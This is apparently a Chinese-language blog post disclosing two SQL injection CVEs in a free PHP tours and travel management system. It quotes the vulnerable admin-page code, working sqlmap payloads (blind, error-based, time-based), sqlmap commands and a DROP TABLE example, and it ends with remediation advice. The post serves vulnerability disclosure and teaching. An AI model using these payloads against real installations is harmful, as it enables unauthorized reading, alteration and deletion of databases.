1. 前言
之前在网上随便逛逛的时候,发现一个集成了各式各样 PHP 项目的管理系统。随意点进去看了看,发现连 MySQL 版本都写了出来,而且还是 PHP 语言——这不禁让人怀疑:是否可能存在 SQL 注入?
https://itsourcecode.com/free-projects/php-project/online-tours-and-travels-management-system-project-in-php-and-mysql/

于是我顺手做了一次代码审计,随后上报了两个漏洞并分配了 CVE 编号:CVE-2025-9008 和 CVE-2025-8993。下面就把整个发现过程公开出来。
2. 漏洞详情
1.1 CVE-2025-9008
下载完源代码,在对“在线旅游及差旅管理系统”做安全审查时,很快就在 /admin/sms_setting.php 文件中发现了一个高危 SQL 注入漏洞。

$sql = "UPDATE sms_setting SET uname='".$_POST['uname']."',
password='".$_POST['password']."',
sender_id='".$_POST['sender_id']."'
WHERE id='1'";
这串 SQL 一眼就能看出来:直接把 $_POST 超全局数组提交的数据,不经任何过滤或转义就拼接到查询字符串里,这肯定就埋下了 SQL 注入隐患。
说到底,SQL 注入的核心就是“混淆了代码和数据”——用户的输入本应被当作普通数据,但因为直接拼接,攻击者可以精心构造输入,让它变成 SQL 代码的一部分,进而篡改原语句的逻辑。
比如,在 password 输入框中,攻击者输入了:' OR '1'='1
那么最终拼接出来的 SQL 语句就会变成:
UPDATE sms_setting SET
uname='hacker',
password='' OR '1'='1',
sender_id='fake_sender'
WHERE id='1'
这样一来,语句的意义被彻底篡改了。password 字段的赋值不再是一个简单的字符串,而变成了一个逻辑判断 '' OR '1'='1',结果是永远为真。
更高级的攻击者甚至可以输入类似 '; DROP TABLE users; -- 的内容,直接执行任意 SQL 命令,比如删表、导出数据等。
payload
---
Parameter: uname (POST)
Type: boolean-based blind
Title: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause
Payload: uname=111111111111' RLIKE (SELECT (CASE WHEN (2321=2321) THEN 111111111111 ELSE 0x28 END)) AND 'QhkJ'='QhkJ&password=111111111111111111&sender_id=1111111111111111111&update=
Type: error-based
Title: MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)
Payload: uname=111111111111' AND EXTRACTVALUE(9139,CONCAT(0x5c,0x7178627171,(SELECT (ELT(9139=9139,1))),0x716a787171)) AND 'CAQx'='CAQx&password=111111111111111111&sender_id=1111111111111111111&update=
---
我们也可以直接用 sqlmap 这类工具来验证:
sqlmap -u "http://127.0.0.1/code/admin/sms_setting.php" --data="uname" --batch --dbs

通过 HTTP POST 请求提交的 uname 表单字段,sqlmap 选择了布尔盲注(boolean-based blind)攻击方式。
布尔盲注是一种高级注入技术,当网站不直接显示数据库错误信息,而且查询结果也不会直接回显到页面时,攻击者可以通过向数据库发送“问题”,再根据页面返回的细微差异(比如能否正常加载)来判断注入是否成功。
图中的 payload:
uname=111111111111' RLIKE (SELECT (CASE WHEN (2321=2321) THEN 111111111111 ELSE 0x28 END)) AND 'QhkJ'='QhkJ
- 111111111111:一个随机的无效用户名,目的是让原查询的
uname 匹配不到结果。
- RLIKE:这是 MySQL 的正则表达式匹配操作符,一般用它来触发条件判断。
(CASE WHEN (2321=2321) THEN ... ELSE ... END):一个 SQL 的 CASE 条件语句。这里它判断一个永远成立的条件 2321=2321。
如果条件为 True,整个 RLIKE 语句就会匹配 111111111111,页面可能返回一个“用户名不存在”的状态;
如果条件为 False(比如换成 1=2),CASE 就会返回一个错误结果,导致 RLIKE 匹配失败,页面可能返回完全空白。
把 2321=2321 换成 (SELECT COUNT(*) FROM information_schema.schemata) > 5 这样的判断,观察页面反应,就能一步一步盲猜出数据库名称。
所以,这里明确存在 SQL 注入漏洞。
1.2 CVE-2025-8993
接着,在 /admin/expense_report.php 文件中又挖出一个高危 SQL 注入漏洞。问题出在 from_date 参数的用户输入验证不足,攻击者可以注
入恶意 SQL 查询,从而未经授权访问数据库、修改或删除数据,甚至窃取敏感信息。

$from_date=$_POST['from_date'];
$to_date=$_POST['to_date'];
$conn = new PDO("mysql:host=$servername;dbname=$dbname", $username, $password);
$conn->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
$stmt = $conn->prepare("SELECT * FROM expense where created_date between '".$_POST['from_date']."' and '".$_POST['to_date']."'");
$stmt->execute();
这段代码的逻辑是:先检查用户是否点击了提交按钮 if (isset($_POST['submit'])),然后获取 from_date 和 to_date,连接数据库后执行一条查询 expense 表中在指定日期范围内创建的记录。
明明用了 PDO 这样专业的数据库扩展,而且还用了 prepare()——PDO 最强大的防注入武器就是预处理语句,但这里偏偏没有用对。
预处理语句会将 SQL 结构与数据分离:先发送一个带“占位符”的 SQL 模板给数据库,数据库解析编译后确定结构,然后在执行阶段才把真实数据发送过去,数据库只把这些数据当作普通值,不会当作 SQL 代码解析。
比如正确的做法是:
$stmt = $pdo->prepare("SELECT * FROM expense WHERE created_date BETWEEN ? AND ?");
$stmt->execute([$from_date, $to_date]);
但本例中,开发者把 $_POST['from_date'] 和 $_POST['to_date'] 直接拼进了 SQL 字符串,然后又把这个拼接后的字符串传给 prepare(),相当于把 PDO 的安全保护彻底绕开,PDO 形同虚设。
$_POST['from_date'] 和 $_POST['to_date'] 没有任何过滤或转义,攻击者只要在表单里构造恶意 payload,就能自由注入 SQL。
payload
---
Parameter: from_date (POST)
Type: error-based
Title: MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)
Payload: from_date=0111-11-11' AND GTID_SUBSET(CONCAT(0x71716a6271,(SELECT (ELT(8748=8748,1))),0x7162707071),8748)-- OwaD&to_date=0001-01-11&submit=
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: from_date=0111-11-11' AND (SELECT 5860 FROM (SELECT(SLEEP(5)))KNEf)-- vyOX&to_date=0001-01-11&submit=
---
用 sqlmap 扫描一下:
sqlmap -u "http://127.0.0.1/code/admin/expense_report.php" --data="from_date" --batch --dbs

sqlmap 识别出 POST 参数 from_date 存在注入漏洞,并测试了多种方式:基于报错的注入(error-based)和基于时间的盲注(time-based blind),都确认有效。
而且 sqlmap 成功获取了数据库名:
information_schema——这是系统库,每个 MySQL 都有。
tour1——这才是该 CMS 特有的数据库。
由此确认,POST 参数 from_date 存在 SQL 注入漏洞。
3. 建议修复
- 使用预处理语句和参数绑定
预处理语句可以将 SQL 代码与用户输入数据彻底分离。只要用户输入被当作纯数据,就不会被解释为 SQL 代码,从而根本杜绝注入。
- 输入验证和过滤
严格验证并过滤所有用户输入数据,确保其格式、类型、长度符合预期,例如日期应只接受固定的格式。
- 最小化数据库用户权限
让连接数据库的账户只拥有完成业务所需的最低权限,避免使用 root 或 admin 等高级账户执行日常查询。
- 定期安全审计
定期对代码和系统进行安全评估,及时发现并修复潜在漏洞。
以上两个 CVE 的分析过程告诉我们,即使使用了 PDO 或看起来很专业的代码,只要 SQL 中还残留着直接拼接的用户输入,风险就依然存在。
更多安全漏洞挖掘与渗透测试的讨论,欢迎在 云栈社区 一起交流。